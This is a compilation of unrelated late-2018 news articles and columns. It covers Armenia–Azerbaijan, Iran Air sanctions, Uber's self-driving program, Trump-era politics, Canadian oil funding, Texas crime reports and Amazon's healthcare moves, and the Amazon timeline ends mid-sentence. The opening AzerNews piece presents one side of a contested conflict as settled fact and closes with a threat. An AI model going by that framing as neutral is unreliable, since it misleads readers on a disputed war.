Prime Minister of Armenia, Nikol Pashinyan, claims the Azerbaijani army advanced before his becoming prime minister. So, Pashinyan in fact acknowledged the advancement of Azerbaijani units but does not consider himself guilty. Indeed, the Azerbaijani army liberated the positions in the area of Nakchivan in a gradual and correct way, and the process began before the April coup. However, when Pashinyan came to power neither he nor the Armenian army could in any way counteract the changes that occurred. At the meeting with journalists Pashinyan put an end to speculations on another topic. As is known, after the April defeat of the Armenian army, two meetings were held with the participation of the co-chairs of the Minsk Group and the presidents of Azerbaijan and Armenia - in Vienna and St. Petersburg. The goal of both meetings was to persuade Baku to reject attempts to return the territories occupied by Armenia through armed means and obtain its consent to legalize and strengthen the results of the occupation by introducing certain mechanisms. Of course, it was impossible to receive agreement with Baku on these items. In the subsequent period, Yerevan stubbornly and hysterically accused Azerbaijan of violating the alleged "agreements reached". "Gunnut operation" occurred in Nakhchivan Autonomous Republic from May 20 to 27, 2018. As a result of counter-terrorism operation of the Azerbaijani army Gunnut village of Sharur region, Agbulag highway, Gyzylgaya mountain and Garagaya mountain were liberated and Arpa village of Daralayaz region fall under Azerbaijani control. As a result of the battles, the total area of 11,000 hectares was liberated. The operation allowed the Azerbaijani Armed Forces to control the Yerevan-Yekhednadzor-Gorus-Lachin-Khankendi highway. As many as 50 km of new roads have been constructed and 50 km of useless roads have been rehabilitated. New defensive positions have been set up in the dominant heights for the tactical security of the strategically important Arpachay River. Gunnut operation should be a signal for all Armenians. If the Armenian side does not want to suffer a defeat, which will turn into a catastrophe for it, and lose its statehood, then it should listen to the words of the President of Azerbaijan, who calls upon the world to liberate all occupied Azerbaijani lands without bloodshed and allow Azerbaijani compatriots, the true owners of their land to return home. --- Abdul Kerimkhanov is AzerNews staff journalist, follow him on Twitter: @AbdulKerim94 Follow us on Twitter @AzerNewsAz By Trend All planes of Iran Air, even sold or non-operational ones, have been included to the US sanctions list, said Farzaneh Sharafbafi, CEO of Iran Air, Trend reports via ILNA. She underlined that Iran Air hasnt backed off from any of the contracts to purchase passenger planes from Airbus. Denouncing the US unfair move to blacklist Iran Air and hamper international cooperation with Iran, she said Iran has used various methods to maintain flight services to Europe despite the US sanctions. Sharafbafi said Iran Air could take delivery of 5 ATR turboprops after the Office of Foreign Assets Control (OFAC) of the US Department of the Treasury extended a permission for cooperation with Iran, and called on the European Union to get a similar permission from the OFAC to allow the delivery of Airbus planes to Iran. She added that Iran has received a total of 16 passenger planes since the 2015 nuclear deal took effect, including three from Airbus and 13 from Franco-Italian turboprop maker ATR. The US decision to withdraw from the 2015 nuclear deal with Tehran, known as the Joint Comprehensive Plan of Action (JCPOA), and reinstate sanctions resulted in the collapse of about $38 billion in plane deals between Tehran and Western firms, with Airbus suffering greater damages than its US rival Boeing. During a January 2016 visit to Paris by Iranian President Hassan Rouhani, Tehran signed a major contract with Airbus worth about $27 billion to buy 118 planes. Later in June that year, Iran sealed another deal worth around $25 billion with Boeing, for the purchase of 100 passenger planes. In December 2016, the deal with Boeing was finalized, allowing Iran to buy 80 planes within 10 years. --- Follow us on Twitter @AzerNewsAz A still from the dashcam video of thes self-driving Uber car that struck and killed Elaine Herzberg in March of this year. Photo: YouTube After pedestrian Elaine Herzberg was killed while crossing the street in Tempe, Arizona, in March of 2018, Ubers self-driving program looked to be in trouble. Herzberg was the first person killed by a self-driving car operating in autonomous mode, and it put Uber under scrutiny by local police, politicians, and federal regulators. Now, nine months later, Ubers self-driving autos are rolling back out onto the streets. On Thursday, the companys self-driving cars will start testing again on the streets of Pittsburgh, after seeking and getting the go-ahead from Pennsylvanias Department of Transportation. Over the past nine months, weve made safety core to everything we do, said Eric Meyhofer, head of Ubers Advanced Technologies Group in a statement. We implemented recommendations from our review processes, spanning technical, operational and organizational improvements. This required a lot of introspection and took some time. Now we are ready to move forward. Introspection and time are generally recognized as the two keys components needed after one of your cars kills someone crossing the street. Even before the fatal accident, Ubers self-driving efforts have been contentious. The company was sued by rival Waymo after Uber poached Anthony Levandowski, a self-driving wunderkind known for being somewhat lackadaisical about safety. After a Tesla operating on autopilot mode killed its driver in 2016, Levandowski told several Uber engineers, Im pissed we didnt have the first death. A federal investigation into exactly what happened in Arizona is still ongoing, but video from the crash shows the pedestrian crossing a relatively dark street with a red bike, while the Uber safety driver looked repeatedly down at her phone. Its believed that the cars automatic emergency-braking system was disabled for unknown reasons, which means the cars sensors may have seen Herzberg, but been unable to brake. Uber will also start testing cars again on the streets of San Francisco and and Toronto, but in those cities the cars will not be allowed to operate in autonomous mode, and instead be controlled by two human drivers. Uber is generally seen as falling far behind both tech rivals like Waymo and more traditional automakers like General Motors when it comes to the self-driving car market. Travis Kalanick, its deposed CEO, said in 2016 that if Uber didnt win the self-driving car race, the future passes us by basically, in a very expeditious and efficient way. With Uber preparing its IPO for 2019 in a market that looks increasingly poised for a downturn, it may be too late for them to catch-up. You can reach Sam Morgen at 661-395-7415 or smorgen@bakersfield.com. You may also follow him on Twitter @smorgenTBC. Trumps reelection slogan is Keep America Great. Photo: Sean Rayford/Getty Images As Donald Trump moves from the midterm to his reelection campaign, he has a bit of a problem, although its one thats familiar to populists who actually win office. Can he keep his supporters fired up with fury at the way things are going in America after hes been in charge of it for four years? This isnt just an abstract issue. As Paul Waldman notes, its coming up right now in a notably less-enthusiastic installment of that hardy right-wing perennial, the War on Christmas: [S]ince its the holiday season, the War on Christmas must be fought yet again, our annual Brigadoon of resentment and outrage-mongering. But the truth is that with a Republican in the White House, fighting the culture war becomes awkward and, at times, even more ridiculous than usual. In fact, you might have detected a lower volume to the War on Christmas this year. That could be because, true to his promise, President Trump has made it legally permissible to utter the words Merry Christmas. Okay, it was permissible before, but still. In fact, you can see the discomfort on the faces of Fox News hosts when they trot out the old scripts about how Christmas is being beaten down by the powerful forces of secularism That highlights a problem facing the culture warrior: Even if what youre fighting against are broad social forces and demographic changes that play out over decades, when your party is in charge in Washington it becomes harder to convince people that were in a living hell where all of our values have been discarded and our people are horribly oppressed. More specifically, when you are as prone to chest-thumping self-aggrandizement as the 45th president who treats perilous trade wars as great victories, each peaceful moment on the planet as a foreign policy triumph, and every positive economic indicator as a benchmark of human progress when exactly do your complaints about the Powers That Be lose credibility? This problem is reflected in the difference between Trumps 2016 and 2020 campaign slogans: Make America Great Again and Keep America Great. At some point during Trumps beneficent rule, greatness must have bloomed across our land. Its true that Trump can always find objects of wrath that, while not as powerful as himself, still threaten his great regime: the news media, of course; liberal judges; the academic proctors of political correctness; the elitists of Hollywood; and various fools and knaves in both political parties who dont get it. In some respects, it is useful for him that Democrats now control one-half of one-third of the federal government; it makes it slightly less embarrassing to whine about the mulishness of Congress when your own party doesnt control it entirely. But still, Trump will not be able to entirely evade the fact that he is now not an outsider, but the unquestionable symbol of the status quo in Washington. And hes not the sort of person who can discipline himself to pose as the brave and lonely insurgent. Not when there are military parades to plan and photo ops with powerful world leaders to stage. Obviously, if conditions in the country turn Elysian by 2020, this will be less of a problem for the incumbent president. And if terrible things happen well, that could give Trump fresh opportunities to stand for change, or at least a stark choice of policy options for dealing with crises. But if things rock along steadily with good and bad news, and Trump getting his way some of the time but not all the time, then the thematics will get very tricky. Its tough to be a megalomaniac in the most powerful job in the world who has to admit he does not have magical powers to solve all problems. At some point his followers may begin to doubt his magic, too, particularly if he proclaims America great again when life for its citizens doesnt seem so hot. EDMONTON, Dec. 18, 2018 - Canada's Minister of Natural Resources, the Honourable Amarjeet Sohi, together with Canada's Minister of International Trade Diversification, the Honourable Jim Carr, today announced more than $1.6 billion to support jobs and workers in Canada's oil and gas sector as Canada seeks to diversify export markets for its resources beyond the United States. These measures will support workers and their families, foster competitiveness and improve the long-term environmental performance of the industry. Today's announcement is an investment in our country's future and in thousands of jobs tied to our resource industry, while building on recent federal efforts to support Canada's oil and gas sector. These include the Government's $4.5 billion purchase of the Trans Mountain Pipeline and existing assets; the introduction of tax incentives an accelerated capital cost allowance for businesses of all sizes and plans to reduce the regulatory burden across the economy announced in the federal Fall Economic Statement; and Minister Sohi's request of the National Energy Board to explore pipeline optimization. These measures include: $1 billion in commercial financial support from Export Development Canada to be made available to exporters of all sizes to assist companies looking to invest in innovative technologies, address working capital needs or explore new markets. A new $500 million Energy Diversification commercial financing envelope over three years from the Business Development Bank of Canada to help higher risk but viable oil and gas small business enterprises weather the current market uncertainty. A $50 million investment through Natural Resources Canada's Clean Growth Program in oil and gas projects projected to generate $890 million in investment. $100 million through Innovation, Science and Economic Development Canada's Strategic Innovation Fund in energy and economic diversification-related projects. Investments from the National Trade Corridor's Fund are also available for projects that address bottlenecks in the freight rail system to support the efficiency and fluidity of transportation of all commodities. A suite of Employment and Social Development Canada services and programs is also available and can be deployed quickly to assist workers who may be negatively affected. This includes Work-Sharing to prevent layoffs and immediate income supports through Employment Insurance. Employment programming such as counselling, job search assistance, training and skills development programs delivered by provinces and territories is also available. Quotes "The oil and gas industry is core to Canada's economy. These investments will help protect jobs and restore competitiveness during this difficult time. We know that getting our resources to non-U.S. markets is the long-term solution to ensuring every barrel of oil gets its full value. That remains our focus, and we will continue to work hard to deliver results." Amarjeet Sohi Canada's Minister of Natural Resources "Alberta's oil and gas expertise is recognized globally. Today's investments respond to the current environment, but also demonstrate our confidence in the ingenuity and determination of Albertans to prevail in the global marketplace. This government is committed to helping any business, however small, tap the unparalleled trade deals and job-creating investment now open to Canadians." Jim Carr Canada's Minister of International Trade Diversification "Innovation in our resource sector will drive its future success and ensure it continues to play an essential role in our economy and in the lives of Canadian families. The Government is taking decisive action to help restore competitiveness, support innovation, improve environmental performance and create more middle-class jobs." Navdeep Bains Canada's Minister of Innovation, Science and Economic Development "The Government understands that small- and medium-sized businesses are the backbone of our economy, employing millions of Canadians. Market uncertainty has put strain on our oil and gas SMEs, and that's why we are taking real action with commercial financing that will help Canada's oil and gas businesses remain competitive and continue to create good, middle-class jobs across Canada." Mary Ng Canada's Minister of Small Business and Export Promotion 30 Q&A 1. What is BDC doing to support oil and gas-impacted clients? BDC has made available an Energy Diversification commercial financing envelope of up to 500 million dollars over three years for eligible small and medium-sized enterprises (SMEs). BDC is offering repayable commercial loans in order to help these SMEs with higher risk but viable business strategies navigate through the market turbulence. The Bank also offers advisory services to help businesses operate more efficiently and profitably. 2. What can the financing be used for? Financing can be used to help your company expand into new markets, increase operational and environmental efficiency, or purchase new technology and equipment. 3. Who is eligible for financing? BDC is offering repayable commercial loans to help higher risk companies in O&G related sectors across the country, as well as in all industries in AB, SK, NL and North BC navigate through the market turbulence. Eligible entities must be viable and be located in one of these regions: AB, SK, North of BC (Fort St. Johns market) and NL. BDC can help businesses in other regions on a case-by-case analysis. 4. What is a viable company? A viable company needs to have a plan to adjust to the new business environment and management capacity to execute the plan. For example, the plan could lay out how the company intends to expand into new markets, increase operational and environmental efficiency, or purchase new technology and equipment. It should be able to demonstrate ability to generate positive cash flow and service its obligations in the near term. The company also needs to have a relatively strong balance sheet. Other conditions may also apply. 5. What exactly are the services that BDC is providing? Are they tailored? BDC Advisory Services offers many solutions to help companies grow their sales, improve productivity or export. Our Advisory Services can support businesses that have $5M + revenues by providing them with a free Business Model Canvas to identify strengths, weaknesses and opportunities. 6. I think my business is a fit for this initiative. Who should I reach out to? If you are already a BDC client, please contact your BDC representative. If you are not yet a client and wish to discuss your financing or advisory needs, please contact BDC at or write us. 7. Where can I find additional information about export financing and insurance solutions? EDC can help you export with confidence through a range of financing and insurance solutions to increase your access to working capital and mitigate risks. To learn how EDC can help you, call or write to tradeadvisor-conseiller|AT|edc|DOT|ca. Attorney general nominee William Barr Photo: Chip Somodevilla/Getty Images President Trump has repeatedly expressed his belief, in public and in private, that the attorney general should act as his personal capo, pressing investigations against his enemies and ignoring violations by his allies. And yet his choice to fill the job (after his first pick infuriated him by refusing to violate clear ethical protocols) is a relatively mainstream choice: William Barr, who held the same position under George H.W. Bush. A partial answer to the mystery is that Barr has publicly defended Trump on several of his pet issues. He endorsed the firing of James Comey, called for investigation of the Clinton Foundation, impugned the neutrality of Robert Muellers investigators, and defended Trumps practice of demanding investigations of his enemies. Barr has a record as one of the members of the Republican legal Establishment most indulgent of Trumps conspiratorial mafia ethos. But a new report in the Wall Street Journal suggests a more complete answer. Earlier this year, Barr wrote a lengthy memo excoriating Muellers investigation of Trump for obstruction of justice. Muellers investigation was grossly irresponsible, had potentially disastrous implications, and other choice descriptions spread over 20 pages culled from public reports. This memo was completely unsolicited. Exactly why he wrote it is a more curious question. According to the Journals account, based on people familiar with the process, submitted copies of his anti-Mueller memo to Deputy Attorney General Rod Rosenstein and to the top lawyer representing the White House in the Mueller probe. The story implies that Trump was not familiar with the memo when he chose Barr, but does not say so outright. The Journal reports a second person familiar with the matter said the memo played no role in [Trumps] decision to choose Mr. Barr. And it also reports, After Mr. Trump offered him the job, Mr. Barr briefly told the president that he had written a memo about aspects of the Russia probe that could spur questions during his confirmation hearing, according to a person familiar with the process. The story does not say who else the White House counsel shared Barrs memo with, or whether Trump was ever told of it. Its entirely possible indeed, it seems quite likely Trump was aware of the memo. The assertion by the Journal source that the memo played no role in Trumps selection of Barr is therefore extremely hard to accept at face value. We know Trump is obsessed with finding an attorney general who will suppress the Mueller investigation. His candidate wrote a memo attacking Mueller, and submitted it to Trumps lawyer, who may or may not have informed others of the memos existence. The worst-case scenario for Barr is that he opened a covert back channel to the administration and campaigned for the role of being Trumps Roy Cohn. The best-case scenario is that he merely created the appearance of impropriety. Barr, in this scenario, merely happens to be a fanatical proponent of executive power who expresses his passion for the issue by writing long memos in his spare time. Somehow word of this memo never reached Trump, who then learned of the strange coincidence that Barr had endorsed the very theories that Trump was looking for in the candidate. Assume for the moment that this latter scenario is true. The most optimistic reading of the Trump administration is that the system has held, and a coterie of professionals have curtailed Trumps gross autocratic instincts. In this case, then, giving the highest law-enforcement job in the country to an extreme advocate of executive authority, who defends the presidents right to obstruct justice and to demand his own investigations as a matter of abstract ideology would be a grave risk. The decomposing body of a woman found in a ditch last week near Richland has been identified as a Houston woman reported missing in November, according to police. The woman died of "multiple gunshot wounds" and was found "partially covered by vegetation" Dec. 12 near a road about 165 miles northwest of Houston, Navarro County Sheriff Elmer Tanner said in a news release issued Wednesday. Tanner identified the woman as 29-year-old Charine Wilson, whose estranged husband, Johnny Wilson, was charged in her death last month. He remains on the loose. She was last seen alive by her son shortly after she entered her husband's apartment on Nov. 10. He saw her sitting on a couch as he went inside to use the restroom, the boy said, according to court documents. The boy returned to his mother's car but she never emerged from the apartment. The husband came out 10 minutes later and got into the car, police said. "Johnny seemed nervous and was unsure of where to go until he arrived in a McDonald's parking lot," according to the child's account in the charging papers. He then dropped the child off at the fast food restaurant "because he was in a hurry" to get home. The boy's grandmother called Wilson's phone after learning that Johnny Wilson had left the boy at the eatery but the husband answered. She reported Wilson missing two days later. Police soon found traces of blood on the living room floor and cleaning supplies in the apartment belonging to Johnny Wilson. "Drag marks from the spot in the living room to the front door of the apartment" was also discovered, according to investigators. Surveillance footage from the apartment complex show Johnny Wilson "carrying what appeared to be trash bags" to a dumpster after he dropped off the child. Later that evening, he put what appeared to be a body "wrapped in a sheet" into the trunk of his car and drove off. He faces one count of murder. Two deputies are being hailed as heroes after pulling a man from a burning car last week in Chambers County. Chambers County Sheriff's Office deputies Braedon Boznango and Carlton Carrington were called out to a rollover crash in the 3800 block Texas Highway 124 around 8:30 p.m. Dec. 13. Dramatic video from the deputies' bodycams and dashcams show them frantically running to the burning car in the middle of a pasture. A woman who witnessed the wreck told them that there's a man unconscious inside the car. The deputies found the man partially hanging out of the passenger-side window with his legs and stomach on fire, according to the sheriff's office. Both deputies helped pull the man from the vehicle and dragged him to a nearby pond to douse the flames. He was airlifted to a Houston hospital in critical condition. Neither deputy was injured, although the intensity of the flames melted part of their equipment on their uniforms. Jay R. Jordan covers breaking news in the Houston area. Read him on our breaking news site, Chron.com, and our subscriber site, HoustonChronicle.com | Follow him on Twitter at @JayRJordan | Email him at jay.jordan@chron.com | Text CHRON to 77453 to receive breaking news alerts by text message Dawn Knight, CEO and administrator of Mokena, Ill.-based Center for Minimally Invasive Surgery, discusses her three key ideas for running a successful business and where she will be focused in 2019. Question: What are your three core concepts for being successful in business? Dawn Knight: 1. Develop a strategy and share the strategy with your team. Work the strategy daily. 2. Be open and transparent with your team. Everyone has a vital role! 3. Celebrate successes regularly. Q: What is the top focus for you and your ASC in 2019? DK: My top focus is business development and aligning with surgeons, payers and services that support our vision and leverage our unique position. We have a five-bed extended stay recovery care area where patients can stay for up to 72 hours. We are focused on spine and orthopedic cases that would typically go to the hospital. To participate in future Becker's Q&As, contact Laura Dyrda at ldyrda@beckershealthcare.com. For a deeper dive into ASC operations, attend the Becker's 17th Annual Future of Spine + Spine, Orthopedic & Pain Management-Driven ASC in Chicago, June 13-5, 2019. Click here to learn more and register. A former eye center employee who was convicted of stealing $514,000 from the center was sentenced to five years in prison, according to the Williamsburg Yorktown Daily. Here are four things to know: 1. The employee, a former practice manager for Riverside Medical Group's Cullom Eye and Laser Center in Williamsburg, Va., used three practice credit cards for personal expenditures. 2. She worked at the center from 2012 to 2016 and reportedly used the credit cards to pay for preschool tuition for her son and took cash advances to pay for other personal items. She reportedly used the bank account of Robert Cullom, MD, to pay off the cards. 3. The practice manager resigned in August 2016 but continued making charges on the credit cards. 4. Earlier this year, the former employee was convicted of wire fraud, bank fraud and filing false federal income tax returns, according to the report. President Trump is back to shutting it down. Photo: Jabin Botsford/The Washington Post/Getty Images Government shutdowns are rare, and almost always ineffective, expressions of conflict between opposing parties in control of Congress and the White House. President Trumps plan to shut down the government is something different: an expression of conflict between his campaign promises and reality. Trump famously campaigned on a promise of building a wall on the southern border, and forcing Mexico to pay for it. He has two problems fulfilling this promise. First, Mexico is not going to pay for the wall under any circumstances. And second, Congress might pay for it, but only under circumstances Trumps base wont accept. Funding for a wall or some kind of barrier Trump could describe as a wall needs to be approved through a budget bill, which requires 60 Senate votes and, hence, the approval of some Democrats. Earlier this year, Democratic leaders in both chambers struck a deal to fund a wall (or wall) in return for protection for undocumented immigrants who came as children. This was the briefly famous Chuck and Nancy deal. But restrictionists like Stephen Miller prevailed on Trump to back off his agreement. Recently, the president, seeming to grow concerned about heading into reelection without having fulfilled his most famous promise, appeared to be laying the groundwork to claim victory. First, he insisted that the moderately tweaked trade deal with Mexico would somehow bring in money to the United States and hence pay for the wall: Mexico is paying (indirectly) for the Wall through the new USMCA, the replacement for NAFTA! Far more money coming to the U.S. Because of the tremendous dangers at the Border, including large scale criminal and drug inflow, the United States Military will build the Wall! Donald J. Trump (@realDonaldTrump) December 19, 2018 Second, he began to fudge the difference between a wall and a fence. Democrats, after all, have previously supported fencing on the border. Whats the difference between a fence and a wall? A wall is solid and a fence can be seen through. Trump was describing his wall as something more like a fence ergo, a barrier Democrats could support: The Democrats, are saying loud and clear that they do not want to build a Concrete Wall - but we are not building a Concrete Wall, we are building artistically designed steel slats, so that you can easily see through it.... Donald J. Trump (@realDonaldTrump) December 19, 2018 The Democrats, who know Steel Slats (Wall) are necessary for Border Security, are putting politics over Country. What they are just beginning to realize is that I will not sign any of their legislation, including infrastructure, unless it has perfect Border Security. U.S.A. WINS! Donald J. Trump (@realDonaldTrump) December 20, 2018 Kellyanne Conway appeared on television messaging this rhetorical strategy. Lets not all acquiesce to the ridiculous sound bite that this is about a wall. Theyre trying to make a wall a four-letter word when the president has been talking about border security all along, she said. You could see the outline of a plan. Trump would wheedle some money out of Democrats, rebrand the tweaked NAFTA as Mexico paying for it, rebrand the fence as a wall, and say he won. Accordingly, Trump abandoned his previous threats to shut down the government over the lack of a wall. But then right-wing media threw a fit. A backdrop here is that numerous right-wing infotainers build their audience by promoting irrational confrontational tactics. Figures like Rush Limbaugh, Ann Coulter, and the cast of Fox & Friends dont have serious, substantive policy disagreements with Republican leaders, but they do like to goad them into hopeless confrontations by pretending they will create leverage that does not exist. Under the Obama administration, conservative media promoted a series of government shutdown threats out of the belief that they could be used to make Obama give them policy concessions. For whatever reason, theyre not going along with the plan of pretending the wall is getting built, and instead theyre demanding Trump shut down the government to get the wall. And when right-wing infotainers demanded this, Trump alternately seethed and panicked about the stream of invective hes hearing from allies on television, as Politico reports. The normal political strategy of a shutdown holds that the president will give up in the face of a shutdown because presidents care about the government looking competent and orderly. But this is an unusual situation a shutdown being engineered by the president, rather than against him. Its even more unusual in that Trump has flouted the normal strategy of trying to pin the blame for the shutdown on the opposing party. Rather than piously insist he is working to keep the government open while the his devious opponents refuse to budge, he openly claimed responsibility for the outcome. And rather than at least appear to be working on a solution, he is headed off to his Florida resort. The shutdown truly stands no chance of working. The only real question is how long Trump has to go before he decides to back down. Days? Hours? Minutes? A Colorado endoscopy clinic nurse pleaded guilty to stealing controlled substances from the center after having admitted to similar allegations with her previous employer, according to a Fox 21 report. Here are five things to know: 1. Mary Panza, the nurse, pleaded guilty to stealing drugs from Ridge View Endoscopy Center in Lone Tree where she had been responsible for tracking the center's drugs. According to the report, instead of handling the drugs appropriately she emptied wasted medication into vials with other drug labels. 2. Ms. Panza said she diverted drugs from the center once per week for 10 months. 3. Prior to her appointment at Ridge View, Ms. Panza engaged in similar drug diversion while employed by Denver Endoscopy. 4. In August, Ms. Panza was taken to the hospital after she was found unconscious at her home with a syringe in her hand. Officers found fentanyl vials in her bathrobe and purse at that time. 5. Her sentencing is scheduled for March 2019. Cincinnati-based Mercy Health has tabled a plan to build a $250 million hospital in Warren, Ohio, citing "economic uncertainty" after GM announced it would likely close its Lordstown assembly plant in Warren, Becker's has learned. Mercy Health announced in March that Enterprise Park was one of the sites in the running for its new 350,000-square-foot St. Joseph Warren Hospital. In November, GM said it would likely shut down its Ohio plant, which employs 1,600 workers. Health system officials confirmed to Becker's Dec. 20 that they will pause any plans to build the hospital or expand services in the area until further notice because of the potential GM closure. "The recent news of GM Lordstown has shaken our community," Mercy Health officials told Becker's. Officials said that the company remains "focused on caring for our patients and extending our healing to those who need us most." Amazon made headlines this year especially as it leaped further into the healthcare arena. While there has been speculation about Amazon's entry into the industry for years, announcements by the e-commerce giant in 2018 make it clear that it's planning to make a big splash in healthcare. Here's a breakdown of Amazon's healthcare ventures, acquisitions, hiring trends and product developments reported by Becker's Hospital Review. The timeline includes Amazon's healthcare moves since January. Jan. 16. Amazon begins fielding applications for a HIPAA compliance lead. The job listing was listed on its website. Jan. 18. The company posts its top 20 cities in the running for the location of its second headquarters, dubbed HQ2. A study predicts Atlanta wins the bid. Jan. 24 Amazon's exploratory healthcare team reportedly has grown to more than 30 people. One of those hires includes Martin Levine, MD, a physician specializing in geriatrics from Boston-based Iora Health. Jan. 30. Amazon announces it will collaborate with Berkshire Hathaway and JPMorgan to launch a company aimed at cutting healthcare costs for their U.S. employees. Shares of other healthcare companies plummet shortly after the announcement. Feb. 13. Sources familiar with Amazon's plans say it is pushing to turn its medical supplies business into a major supplier to U.S. hospitals and outpatient clinics. The idea is to establish a one-stop shop for health systems through its separate business-to-business marketplace, Amazon Business. On several occasions, Amazon invites hospital executives to its Seattle headquarters to float ideas for expanding this medical supplies business. Feb. 21. Reports surface that Amazon has quietly launched an exclusive line of 60 over-the-counter healthcare products. The line is a private label brand called Basic Care and has products ranging from ibuprofen to hair regrowth treatment. March 9. Amazon hires more than 20 employees, including software engineers, data analysts and business strategists with years of experience in healthcare or pharmaceutical industries. Employees from CVS Health, Express Scripts and UnitedHealth Group have been "poached" over an 18-month period. March 19. Former FDA Chief Health Informatics Officer Taha Kasshout joins Amazon's Grand Challenge healthcare team, referred to internally as 1492. Mr. Kasshout will oversee business development for the team's healthcare products. March 20. A person familiar with the plan goes public to disclose that Amazon's healthcare team is interested in developing healthcare technologies for the elderly. Amazon's interest in health technology for aging populations dates several years, to when company officials met with AARP, a lobby that supports older Americans, to discuss various collaborations and share research. Additionally, Babak Parviz, PhD, Amazon's vice president of special projects, spoke about its plans to aid elderly through technology at an event in February. Dr. Parviz also reportedly took a cross-country bus tour in the spring of 2014 to learn how technology could assist the aging population. March 21. The U.S. Patent and Trademark Office grants Amazon a new patent for a delivery drone that can respond to human gestures. This is not Amazon's only patent to expand its air delivery service. Experts say this delivery service may disrupt supply chains across all industries. April 16. The e-commerce giant's separate business-to-business marketplace, Amazon Business, shelves its plan to become a major pharmaceutical supplier to large U.S. hospitals and outpatient clinics. The company was unable to persuade larger hospitals and health systems to adhere to a different purchasing process. Instead, Amazon will focus on beefing up its less sensitive medical supply offerings to smaller hospitals and clinics. May 11. CNBC reports that Amazon has built a team within its Alexa division to explore ways of making the device, which is powered by artificial intelligence, more useful in healthcare. The healthcare team, dubbed "health & wellness," is exploring disease management, aging and care for mothers and infants. June 6. CNBC divulges several projects that Grand Challenge is working on. One project involves cancer research in collaboration with Seattle-based Fred Hutchinson Cancer Research Center. The duo hopes to apply machine learning to prevent and cure cancers. Grand Challenge also is working with Amazon Web Services, the company's cloud business, on a project called Hera, intended to help commercial health insurers by reviewing EHR data to point out coding mistakes or misdiagnoses. In addition, the team is exploring ways to use technology to help the elderly. June 20. Atul Gawande, MD, a surgeon at Boston-based Brigham and Women's Hospital and contributor to The New Yorker, is tapped to lead Amazon, Berkshire, and JP Morgan's healthcare company. He assumes the CEO role at the venture July 9. June 28. Amazon enters into an agreement to acquire online pharmacy startup PillPack for about $1 billion. PillPack is a full-service pharmacy that manages prescription medications for its customers by packaging, organizing and delivering the medications. Shares of major drugstore chains and pharmaceutical distributors plunge after the news surfaces. July 10. Nimblr, a healthcare artificial intelligence company confirms to Becker's that it integrated with Amazon Alexa. The integration allows patients at some medical practices to schedule appointments using their Amazon Alexa. July 12. Bloomberg reports Amazon is seeking to improve its relationship with healthcare manufacturers and service providers by hiring a head of healthcare manufacturers and service team within its Amazon Business marketplace. July 12. CNBC reports Amazon is in talks with Xealth, a startup that offers a digital prescribing and analytics platform, and two health systems about a pilot project. The project would enable physicians to recommend medical product bundles to their patients at the hospital. Then those products would be delivered to the patients' homes upon discharge. Although a small number of hospitals would be involved with the initial pilot program, the idea would be to expand it across the nation. July 19. Amazon is rumored to be in talks to invest in an Indian pharmacy chain, known as MedPlus. MedPlus operates more than 1,400 pharmacies across India and provides services to more than 10,000 people. The pharmacy chain also operates an online pharmacy store called MedPlusMart, several lab testing centers and a surgical equipment distribution business. Aug. 10. Amazon considers opening primary care clinics for its employees at its headquarters in Seattle. The tentative plan is to hire a small number of physicians to start a pilot clinic later in 2018. Aug. 15. More than 500 groups have registered to build apps using Blue Button 2.0, an open application programming interface tool developed by CMS. The e-commerce giant is one of them. Aug. 20. Maulik Majmudar, MD, a renowned cardiologist from Boston-based Massachusetts General Hospital tweets that he decided to join Amazon's team. Sept. 4. The healthcare venture formed by Amazon, Berkshire Hathaway and JPMorgan Chase selects its COO Jack Stoddard. Mr. Stoddard formerly served as an executive for Comcast and Optum. Sept. 17. Accenture and Merck announce they are partnering with Amazon to launch a data-driven drug development platform on Amazon Web Services. The cloud-based platform will give pharmaceutical, biotechnology and scientific institutions access to research data to inform decisions at early stage drug development. The platform is expected to open to software vendors in November. Sept. 18. Change Healthcare and Amazon team up to launch a new cloud-based claims and payments network for payers and providers. The network will be available on Amazon Web Services and will deploy technologies like Blockchain. Sept. 20. STAT reports that the healthcare venture formed by Amazon, Berkshire Hathaway and JPMorgan Chase selected a global consulting firm to help craft its strategy to lower healthcare spending of its employees. The Boston-based firm, Monitor Group, will help the e-commerce giant reach this goal by helping drive improvements in the care of chronically ill patients. Sept. 28. News breaks that Amazon and Google both invested in Aiva, a startup that uses smart speakers to connect patients and seniors with their healthcare providers. Oct. 9. Amazon filed a patent for its virtual voice assistant, Alexa, which aims to detect when a user is sick. The device would then help sell users medications. Oct. 15. Becker's reports Amazon is fielding applications for a data scientist to join its health team. The scientist would work on its health insurance plan which is in the Amazon Benefits Department. The employee would be responsible for establishing data science, business intelligence, analytics and reporting capabilities for the health plan. Oct. 23. Amazon's cloud computing platform Amazon Web Services teams up with the National Institutes of Health's Technology Research Infrastructure for Discovery, Experimentation, and Sustainability Initiative. The initiative aims to help link biomedical researchers with their colleagues across the world. Oct. 26. Amazon, through a partnership with health brand consultancy Arcadia Group, will sell an exclusive new brand of consumer-focused medical devices, including blood pressure cuffs and glucose monitors. Arcadia Group said it had created a brand of at-home medical devices for Amazon, called Choice. Nov. 5. The Wall Street Journal reports that Amazon plans to split its second headquarters between two locations. The surprise decision to build two offices for its HQ2, in addition to its first headquarters in Seattle, is driven by the need to recruit the best tech talent and ease potential issues with housing or transit, according to people familiar with the decision. Under the revised plan, Amazon would split the workforce evenly with about 25,000 employees in each city. It will view all three of its main offices as headquarters with similar executive functions. However, the split means the company will build two smaller offices than its Seattle home base, which has 45,000 workers. Nov. 7. Amazon, through a partnership with generic store brand pharmaceutical maker Aurohealth, will launch a fourth exclusive over-the-counter medication brand called Primary Health. The OTC Primary Health brand has four products available on Amazon, including two generic versions of Mucinex DM, a generic version of Nexium 24 Hour and a generic version of Prilosec OTC. Nov. 8. Amazon's cloud computing business, Amazon Web Services, adds three "HIPAA-eligible" machine learning tools to its pipeline of services. Nov. 13. Amazon officially picks the winners for its second headquarters, opting to split it between Long Island in New York and Crystal City in Arlington County, Virginia. Nov. 19. The joint health company formed by Amazon, Berkshire Hathaway and JPMorgan Chase hires its first female executive, Dana Safran. Ms. Safran was the former chief performance measurement and improvement officer at Blue Cross Blue Shield of Massachusetts. She will assume her position of "head of measurement" at the health venture early in 2019. Nov. 21. CNBC reports that Amazon will soon allow its employees to test out PillPack, the online pharmacy the e-commerce giant purchased earlier in the year. Nov. 26. Accenture, Merck and Amazon's cloud-based drug discovery platform opens to software vendors. More than 30 sign up opening day. Nov. 27. Amazon announces plans to sell software that can mine patient health records for data to help physicians improve treatment plans and to help hospitals cut costs. Dec. 6. Becker's confirms Amazon hired Jason Tzau, PharmD, to help oversee the company's employee 